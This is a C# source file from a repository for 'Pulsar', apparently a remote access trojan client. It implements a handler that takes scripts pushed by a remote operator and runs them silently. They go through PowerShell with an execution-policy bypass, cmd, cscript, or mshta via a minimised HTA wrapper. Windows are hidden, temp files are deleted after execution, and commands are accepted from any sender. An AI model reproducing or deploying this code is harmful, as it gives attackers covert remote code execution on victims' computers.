Files
PulsarK-main/Pulsar.Client/Messages/RemoteScriptingHandler.cs
T
i2p 773d05f8f1
Pulsar .NET 9.0 Windows Release / build (push) Waiting to run
Mirror to Codeberg and Gitea / mirror (push) Waiting to run
initial commit
2026-08-27 10:57:58 -06:00

123 lines
4.9 KiB
C#

using Pulsar.Client.Helper;
using Pulsar.Client.IpGeoLocation;
using Pulsar.Client.User;
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Collections.Generic;
using System.IO;
using System.Net.NetworkInformation;
using Pulsar.Client.IO;
using Pulsar.Common.Messages.Administration.SystemInfo;
using Pulsar.Common.Messages.Other;
using Pulsar.Common.Messages.UserSupport.MessageBox;
using System.Threading;
using System.CodeDom.Compiler;
using System.Diagnostics;
namespace Pulsar.Client.Messages
{
public class RemoteScriptingHandler : IMessageProcessor
{
public bool CanExecute(IMessage message) => message is DoExecScript;
public bool CanExecuteFrom(ISender sender) => true;
public void Execute(ISender sender, IMessage message)
{
switch (message)
{
case DoExecScript msg:
Execute(sender, msg);
break;
}
}
private void Execute(ISender client, DoExecScript message)
{
new Thread(() =>
{
string tempFile = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
if (message.Language == "Powershell")
{
tempFile += ".ps1";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("powershell", "-ExecutionPolicy Bypass -File " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "Batch")
{
tempFile += ".bat";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cmd", "/c " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "VBScript")
{
tempFile += ".vbs";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cscript", tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else if (message.Language == "JavaScript")
{
if (message.Script.Contains("WScript.") || message.Script.Contains("ActiveXObject"))
{
tempFile += ".js";
File.WriteAllText(tempFile, message.Script);
ProcessStartInfo psi = new ProcessStartInfo("cscript", "//Nologo " + tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = false
};
Process process = Process.Start(psi);
process.WaitForExit();
File.Delete(tempFile);
}
else
{
tempFile += ".hta";
string scriptContent = "<html><head><hta:application windowstate='minimize'></hta:application></head><body><script>" + message.Script + "</script></body></html>";
File.WriteAllText(tempFile, scriptContent);
ProcessStartInfo psi = new ProcessStartInfo("mshta", tempFile)
{
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = message.Hidden,
UseShellExecute = true
};
Process process = Process.Start(psi);
if (!process.WaitForExit(5000))
{
process.Kill();
}
File.Delete(tempFile);
}
}
})
{ IsBackground = true }.Start();
}
}
}